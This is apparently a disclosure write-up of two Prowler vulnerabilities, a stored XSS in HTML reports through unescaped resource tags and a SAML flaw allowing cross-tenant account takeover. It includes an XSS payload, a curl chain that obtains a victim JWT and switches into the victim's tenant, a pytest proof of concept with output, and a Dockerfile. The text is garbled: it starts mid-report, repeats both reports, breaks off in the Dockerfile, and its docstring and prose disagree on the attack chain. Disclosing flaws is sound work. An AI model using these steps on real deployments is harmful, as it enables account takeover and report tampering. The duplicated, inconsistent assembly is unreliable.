<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

SAML Tenant Binding Enables Cross-Tenant Account Takeover

Summary

Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.

In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.

The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.email_domain and SAMLDomainIndex.email_domain are globally unique.

Details

The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:

email_domain = user.email.split("@")[-1]
tenant = (
    SAMLConfiguration.objects.using(MainRouter.admin_db)
    .get(email_domain=email_domain)
    .tenant
)

This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.

The attack is made possible by several compounding weaknesses:

1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.email_domain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.

2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.

3. Hardcoded auto-connect (api/src/backend/config/settings/social_login.py:23, 25): SOCIALACCOUNT_EMAIL_AUTHENTICATION = True and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True are hardcoded and cannot be disabled at runtime.

4. IdP-initiated SSO enabled (api/src/backend/config/settings/social_login.py:78): reject_idp_initiated_sso: False allows the attacker to initiate the flow without requiring any action from the victim.

5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.

6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.

PoC

Environment setup:

# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit

Automated test (runs inside the container):

python -m pytest poc_vuln001.py -v -s --no-header --tb=short

Manual HTTP exploitation chain (against a live Prowler API):

Step 1 - Attacker configures SAML for their own email domain:

curl -i -X POST "$API/api/v1/saml-config" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{"type":"saml-configurations","attributes":{
      "email_domain":"attacker.com",
      "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
    }}
  }'

The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.

Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:

# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar \
  -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
  --data-urlencode "SAMLResponse=$SIGNED_ASSERTION"

Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:

In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.

Step 4 - Exchange the SAML token for a victim JWT:

curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"
# Returns access/refresh JWT if the temporary SAML token is valid and has not expired

Step 5 - Switch into the victim's real tenant:

curl -s -X POST "$API/api/v1/tokens/switch" \
  -H "Authorization: Bearer $VICTIM_JWT" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{
      "type":"tokens-switch-tenant",
      "attributes":{
        "tenant_id":"<victim-real-tenant-uuid>"
      }
    }
  }'
# Returns a valid token scoped to the victim's tenant

Observed output from the automated PoC:

Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.

[+] Victim user created in DB:
    email = victim@victim.com
    id    = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
[+] Simulated SAMLResponse posted to ACS endpoint:
    URL:    POST /api/v1/accounts/saml/victim.com/acs/
    NameID: victim@victim.com  (attacker-controlled)
[*] Calling ProwlerSocialAccountAdapter.pre_social_login()
    File: api/src/backend/api/adapters.py:17
[!] sociallogin.connect() was called!
    connected user email: victim@victim.com
    connected user id:    b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
    victim user id:       b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - Victim user id in DB:            b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - User passed to connect():        b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - IDs match (victim's account):   True
  - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)
PASSED
======================== 1 passed, 2 warnings in 35.42s ========================

Recommended remediation (api/src/backend/api/v1/views.py):

Bind token issuance to the SAML configuration selected by the ACS route.

The ACS finish flow should verify that the following values all match:

• the organization_slug from the ACS route
• the SAMLConfiguration.email_domain
• the domain portion of the asserted SAML user email

Then issue the token using the tenant from that validated SAML configuration:

tenant = saml_config.tenant

The tenant must not be recalculated from user.email.

Impact

This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.

Who is impacted: users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because reject_idp_initiated_sso is False, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.

Consequences:

• Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.)
• Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant
• Lateral movement into any additional tenants the victim belongs to via the token switch endpoint
• Possible persistent access depending on the SAML account-linking behavior in the affected version

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover
#
# Builds a minimal Prowler API test environment to reproduce the vulnerability
# in api/src/backend/api/adapters.py (pre_social_login, lines 17-25).
#
# Build context must be the parent directory:
#   docker build -t vuln001-poc -f vuln-001/Dockerfile .

FROM python:3.12.10-slim-bookworm

LABEL maintainer="security-research"
LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"

# Install system packages required for:
#   - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1
#   - psycopg2: PostgreSQL client headers
#   - uv / prowler git dep: git, gcc, g++
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    g++ \
    make \
    git \
    libxml2-dev \
    libxmlsec1-dev \
    libxmlsec1-openssl \
    pkg-config \
    libtool \
    libxslt1-dev \
    python3-dev \
    && rm -rf /var/lib/apt/lists/*

# Install uv (same version as the original Dockerfile)
RUN pip install --no-cache-dir uv==0.11.14

WORKDIR /prowler

# Copy API dependency manifests first (for layer caching)
COPY repo/api/pyproject.toml repo/api/uv.lock ./api/

# Install all Python dependencies from the locked file.
# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.
WORKDIR /prowler/api
RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv

# Copy the full backend source code
COPY repo/api/src/backend/ ./src/backend/

# Copy the PoC test into the backend working directory so pytest can discover it
COPY vuln-001/poc.py ./src/backend/poc_vuln001.py

WORKDIR /prowler/api/src/backend

# Set up environment variables for the test run.
# DJANGO_SETTINGS_MODULE points to config.django.testing which uses PostgreSQL.
ENV PATH="/prowler/api/.venv/bin:$PATH"
ENV DJANGO_SETTINGS_MODULE=config.django.testing
ENV POSTGRES_HOST=postgres
ENV POSTGRES_USER=prowler_admin
ENV POSTGRES_PASSWORD=prowler_password
ENV POSTGRES_DB=prowler_test_db
ENV POSTGRES_PORT=5432
ENV SECRET_KEY=poc-test-secret-key-not-for-production
ENV SECRETS_ENCRYPTION_KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=
# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)
ENV VALKEY_HOST=localhost
ENV VALKEY_PORT=6379
ENV VALKEY_PASSWORD=""
# Neo4j not needed for adapter tests
ENV NEO4J_USER=neo4j
ENV NEO4J_PASSWORD=neo4j
# Silence Sentry in test runs
ENV DJANGO_SENTRY_DSN=""

CMD ["python", "-m", "pytest", "poc_vuln001.py", "-v", "-s", "--no-header", "--tb=short"]

poc.py

"""
PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover

Product:  toniblyx/prowler v5.30.0 (commit c2cef99)
CWE:      CWE-287 - Improper Authentication
CVSS:     9.6 (Critical)  AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Vulnerability location:
    api/src/backend/api/adapters.py  lines 17-25  (pre_social_login)
    api/src/backend/config/settings/social_login.py  lines 23, 25, 78

Root cause:
    ProwlerSocialAccountAdapter.pre_social_login() trusts the SAML NameID email
    from the assertion and calls get_user_by_email() which does a GLOBAL user
    table lookup with no tenant-scope or domain-ownership check.  If a user
    with that email already exists, sociallogin.connect() links the attacker's
    SAML session to that account - giving the attacker control of the victim.

Attack chain:
    1. Attacker registers a Prowler account and creates a tenant (normal user).
    2. Attacker POSTs to /api/v1/saml-config claiming email_domain=victim.com.
       models.py only validates format/uniqueness - no ownership proof.
    3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the
       attacker's certificate, asserting NameID=victim@victim.com.
    4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers
       pre_social_login.  The adapter looks up victim@victim.com globally and
       calls sociallogin.connect(request, victim_user) - ACCOUNT LINKED.
    5. views.py issues a SAMLToken (JWT) for the victim account.
    6. Attacker uses /api/v1/tokens/saml?id=<token_id> to obtain victim's JWT.

This test proves steps 4 - the critical account-linking step - using the real
production adapter code and a real PostgreSQL database.  sociallogin.connect()
is spied upon (not replaced) so we can capture the exact user object passed in.
"""

import pytest
from unittest.mock import MagicMock

from allauth.socialaccount.models import SocialLogin
from django.contrib.auth import get_user_model

from api.adapters import ProwlerSocialAccountAdapter

User = get_user_model()

VICTIM_EMAIL = "victim@victim.com"
VICTIM_DOMAIN = "victim.com"
ATTACKER_EMAIL = "attacker@evil-corp.com"


# ---------------------------------------------------------------------------
# Helper: print a separator for readable test output
# ---------------------------------------------------------------------------
def section(title: str) -> None:
    width = 70
    print(f"\n{'=' * width}")
    print(f"  {title}")
    print(f"{'=' * width}")


# ---------------------------------------------------------------------------
# Core PoC test
# ---------------------------------------------------------------------------

@pytest.mark.django_db
class TestSAMLDomainClaimingAccountTakeover:
    """
    Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and
    a live PostgreSQL test database created by pytest-django.

    The test creates a victim user in the database, then simulates the exact
    HTTP flow an attacker would trigger via a crafted SAMLResponse.
    """

    def test_attacker_saml_session_links_to_victim_account(self, rf):
        """
        Verify that pre_social_login() links the attacker's SAML sociallogin
        to an existing victim account without ANY domain-ownership check.

        Expected outcome (vulnerability confirmed):
            sociallogin.connect(request, victim_user) is called where
            victim_user.email == VICTIM_EMAIL and victim_user was created
            independently of the SAML session - i.e. the adapter does NOT
            verify that the SAML registrant owns victim.com.
        """
        # ---------------------------------------------------------------
        # STEP 1 - Create the victim's pre-existing account in the database.
        #          In a real attack the victim signed up with email+password
        #          and has an existing Prowler tenant membership.
        # ---------------------------------------------------------------
        section("STEP 1: Create victim account in database")

        victim_user = User.objects.create_user(
            name="Victim User",
            email=VICTIM_EMAIL,
            password="VictimS3cret!",
        )
        # Confirm the user was actually persisted (real DB round-trip)
        fetched = User.objects.get(email=VICTIM_EMAIL)
        assert fetched.id == victim_user.id, "Victim user must exist in database"

        print(f"[+] Victim user created in DB:")
        print(f"    email = {victim_user.email}")
        print(f"    id    = {victim_user.id}")

        # ---------------------------------------------------------------
        # STEP 2 - Simulate the attacker's SAML flow.
        #
        #   a. Attacker previously registered a SAMLConfiguration for
        #      email_domain='victim.com' via POST /api/v1/saml-config.
        #      (No domain ownership proof is required - see models.py:2100)
        #
        #   b. Attacker's self-controlled IdP issues a SAMLResponse signed
        #      with the attacker's certificate, asserting:
        #        NameID = victim@victim.com
        #
        #   c. allauth processes the ACS POST and calls pre_social_login()
        #      before creating/updating the social account record.
        #
        #   We represent the processed SAMLResponse as an allauth SocialLogin
        #   object.  The 'connect' method is spied upon to capture arguments.
        # ---------------------------------------------------------------
        section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")

        # Build the sociallogin object that allauth would construct after
        # validating the SAMLResponse signature (which uses the *attacker's*
        # certificate - no server-side cert pinning for victim.com).
        attacker_saml_login = MagicMock(spec=SocialLogin)
        attacker_saml_login.provider = MagicMock()
        attacker_saml_login.provider.id = "saml"          # Provider discriminator
        attacker_saml_login.account = MagicMock()
        attacker_saml_login.account.extra_data = {}       # SAML uses user.email path
        attacker_saml_login.user = MagicMock()
        # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse.
        # This is the email that pre_social_login() will trust without verification.
        attacker_saml_login.user.email = VICTIM_EMAIL
        attacker_saml_login.connect = MagicMock()         # Spy: record call arguments

        # Simulate the ACS request (POST to the victim.com ACS endpoint)
        acs_request = rf.post(
            f"/api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/",
            data={"SAMLResponse": "<attacker-signed-base64>"},
        )

        print(f"[+] Simulated SAMLResponse posted to ACS endpoint:")
        print(f"    URL:    POST /api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/")
        print(f"    NameID: {attacker_saml_login.user.email}  (attacker-controlled)")

        # ---------------------------------------------------------------
        # STEP 3 - Execute the vulnerable adapter method.
        #
        #   api/src/backend/api/adapters.py lines 17-25:
        #
        #   def pre_social_login(self, request, sociallogin):
        #       email = sociallogin.account.extra_data.get("email")  # line 19
        #       if sociallogin.provider.id == "saml":
        #           email = sociallogin.user.email   # line 21 - trusts SAML NameID
        #       if email:
        #           existing_user = self.get_user_by_email(email)  # line 23 - global DB lookup
        #           if existing_user:
        #               sociallogin.connect(request, existing_user)  # line 25 - ACCOUNT LINKED
        # ---------------------------------------------------------------
        section("STEP 3: Execute pre_social_login (vulnerable code path)")

        adapter = ProwlerSocialAccountAdapter()
        print(f"[*] Calling ProwlerSocialAccountAdapter.pre_social_login()")
        print(f"    File: api/src/backend/api/adapters.py:17")

        adapter.pre_social_login(acs_request, attacker_saml_login)

        # ---------------------------------------------------------------
        # STEP 4 - Verify the attack succeeded.
        # ---------------------------------------------------------------
        section("STEP 4: Verify attack outcome")

        assert attacker_saml_login.connect.called, (
            "FAIL: sociallogin.connect() was NOT called - "
            "the attack path did not execute"
        )

        call_args = attacker_saml_login.connect.call_args[0]
        _, connected_user = call_args   # connect(request, existing_user)

        print(f"[!] sociallogin.connect() was called!")
        print(f"    connected user email: {connected_user.email}")
        print(f"    connected user id:    {connected_user.id}")
        print(f"    victim user id:       {victim_user.id}")

        # The connected user must be the VICTIM (looked up from global DB)
        assert connected_user.email == VICTIM_EMAIL, (
            f"FAIL: connect() was called with {connected_user.email!r}, "
            f"expected {VICTIM_EMAIL!r}"
        )
        assert str(connected_user.id) == str(victim_user.id), (
            f"FAIL: connect() user id {connected_user.id} != victim id {victim_user.id}"
        )

        # Confirm no domain-ownership check happened:
        # The adapter does not inspect the SAML configuration to verify that
        # the sociallogin's tenant registered victim.com before accepting the email.
        section("RESULT: VULNERABILITY CONFIRMED")

        print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack")
        print()
        print(f"  Root cause (adapters.py:21-25):")
        print(f"    email = sociallogin.user.email  # trusts SAML NameID: {VICTIM_EMAIL}")
        print(f"    existing_user = self.get_user_by_email(email)  # GLOBAL lookup, no tenant scope")
        print(f"    sociallogin.connect(request, existing_user)  # links attacker session to victim")
        print()
        print(f"  Contributing settings (social_login.py):")
        print(f"    SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True  # hardcoded")
        print(f"    reject_idp_initiated_sso = False  # IdP-initiated attacks allowed")
        print()
        print(f"  Impact:")
        print(f"    - Attacker obtains JWT token for {VICTIM_EMAIL}")
        print(f"    - Attacker can access victim's cloud security findings")
        print(f"    - Attacker can switch to victim's tenant via /api/v1/tokens/switch")
        print(f"    - No victim interaction required (IdP-initiated SSO enabled)")
        print()
        print(f"  Evidence (this test run):")
        print(f"    - Victim user id in DB:            {victim_user.id}")
        print(f"    - User passed to connect():        {connected_user.id}")
        print(f"    - IDs match (victim's account):   {str(victim_user.id) == str(connected_user.id)}")
        print(f"    - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

SAML Tenant Binding Enables Cross-Tenant Account Takeover

Summary

Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.

In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.

The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.email_domain and SAMLDomainIndex.email_domain are globally unique.

Details

The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:

email_domain = user.email.split("@")[-1]
tenant = (
    SAMLConfiguration.objects.using(MainRouter.admin_db)
    .get(email_domain=email_domain)
    .tenant
)

This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.

The attack is made possible by several compounding weaknesses:

1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.email_domain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.

2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.

3. Hardcoded auto-connect (api/src/backend/config/settings/social_login.py:23, 25): SOCIALACCOUNT_EMAIL_AUTHENTICATION = True and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True are hardcoded and cannot be disabled at runtime.

4. IdP-initiated SSO enabled (api/src/backend/config/settings/social_login.py:78): reject_idp_initiated_sso: False allows the attacker to initiate the flow without requiring any action from the victim.

5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.

6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.

PoC

Environment setup:

# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit

Automated test (runs inside the container):

python -m pytest poc_vuln001.py -v -s --no-header --tb=short

Manual HTTP exploitation chain (against a live Prowler API):

Step 1 - Attacker configures SAML for their own email domain:

curl -i -X POST "$API/api/v1/saml-config" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{"type":"saml-configurations","attributes":{
      "email_domain":"attacker.com",
      "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
    }}
  }'

The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.

Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:

# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar \
  -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
  --data-urlencode "SAMLResponse=$SIGNED_ASSERTION"

Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:

In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.

Step 4 - Exchange the SAML token for a victim JWT:

curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"
# Returns access/refresh JWT if the temporary SAML token is valid and has not expired

Step 5 - Switch into the victim's real tenant:

curl -s -X POST "$API/api/v1/tokens/switch" \
  -H "Authorization: Bearer $VICTIM_JWT" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{
      "type":"tokens-switch-tenant",
      "attributes":{
        "tenant_id":"<victim-real-tenant-uuid>"
      }
    }
  }'
# Returns a valid token scoped to the victim's tenant

Observed output from the automated PoC:

Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.

[+] Victim user created in DB:
    email = victim@victim.com
    id    = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
[+] Simulated SAMLResponse posted to ACS endpoint:
    URL:    POST /api/v1/accounts/saml/victim.com/acs/
    NameID: victim@victim.com  (attacker-controlled)
[*] Calling ProwlerSocialAccountAdapter.pre_social_login()
    File: api/src/backend/api/adapters.py:17
[!] sociallogin.connect() was called!
    connected user email: victim@victim.com
    connected user id:    b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
    victim user id:       b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - Victim user id in DB:            b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - User passed to connect():        b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - IDs match (victim's account):   True
  - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)
PASSED
======================== 1 passed, 2 warnings in 35.42s ========================

Recommended remediation (api/src/backend/api/v1/views.py):

Bind token issuance to the SAML configuration selected by the ACS route.

The ACS finish flow should verify that the following values all match:

• the organization_slug from the ACS route
• the SAMLConfiguration.email_domain
• the domain portion of the asserted SAML user email

Then issue the token using the tenant from that validated SAML configuration:

tenant = saml_config.tenant

The tenant must not be recalculated from user.email.

Impact

This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.

Who is impacted: users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because reject_idp_initiated_sso is False, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.

Consequences:

• Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.)
• Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant
• Lateral movement into any additional tenants the victim belongs to via the token switch endpoint
• Possible persistent access depending on the SAML account-linking behavior in the affected version

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover
#
# Builds a minimal Prowler API test environment to reproduce the vulnerability
# in api/src/backend/api/adapters.py (pre_social_login, lines 17-25).
#
# Build context must be the parent directory:
#   docker build -t vuln001-poc -f vuln-001/Dockerfile .

FROM python:3.12.10-slim-bookworm

LABEL maintainer="security-research"
LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"

# Install system packages required for:
#   - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1
#   - psycopg2: PostgreSQL client headers
#   - uv / prowler git dep: git, gcc, g++
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    g++ \
    make \
    git \
    libxml2-dev \
    libxmlsec1-dev \
    libxmlsec1-openssl \
    pkg-config \
    libtool \
    libxslt1-dev \
    python3-dev \
    && rm -rf /var/lib/apt/lists/*

# Install uv (same version as the original Dockerfile)
RUN pip install --no-cache-dir uv==0.11.14

WORKDIR /prowler

# Copy API dependency manifests first (for layer caching)
COPY repo/api/pyproject.toml repo/api/uv.lock ./api/

# Install all Python dependencies from the locked file.
# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.
WORKDIR /prowler/api
RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv

# Copy the full backend source code
COPY repo/api/src/backend/ ./src/backend/

# Copy the PoC test into the backend working directory so pytest can discover it
COPY vuln-001/poc.py ./src/backend/poc_vuln001.py

WORKDIR /prowler/api/src/backend

# Set up environment variables for the test run.
# DJANGO_SETTINGS_MODULE points to config.django.testing which uses PostgreSQL.
